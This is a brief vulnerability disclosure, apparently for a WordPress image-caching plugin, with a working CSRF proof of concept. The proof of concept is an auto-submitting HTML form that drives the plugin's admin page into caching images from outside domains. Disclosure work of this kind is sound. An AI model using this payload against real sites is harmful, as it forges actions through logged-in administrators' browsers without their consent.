The plugin is vulnerable to CSRF. This can be used to store / cache images from external domains on the server, which could lead to legal risks (due to copyright violations or licensing rules).
<form id="test" action="https://example.com/wp-admin/tools.php?page=hot-linked-image-cacher%2Fhotlinked-image-cacher.php" method="POST">
<input type="text" name="domains[]" value="example.com">
<input type="text" name="urlmethod" value="curl">
<input type="text" name="postid" value="enter a post id here">
<input type="text" name="step" value="3">
<input type="text" name="Submit" value="Cache These Images ยป">
</form>
<script>
document.getElementById("test").submit();
</script>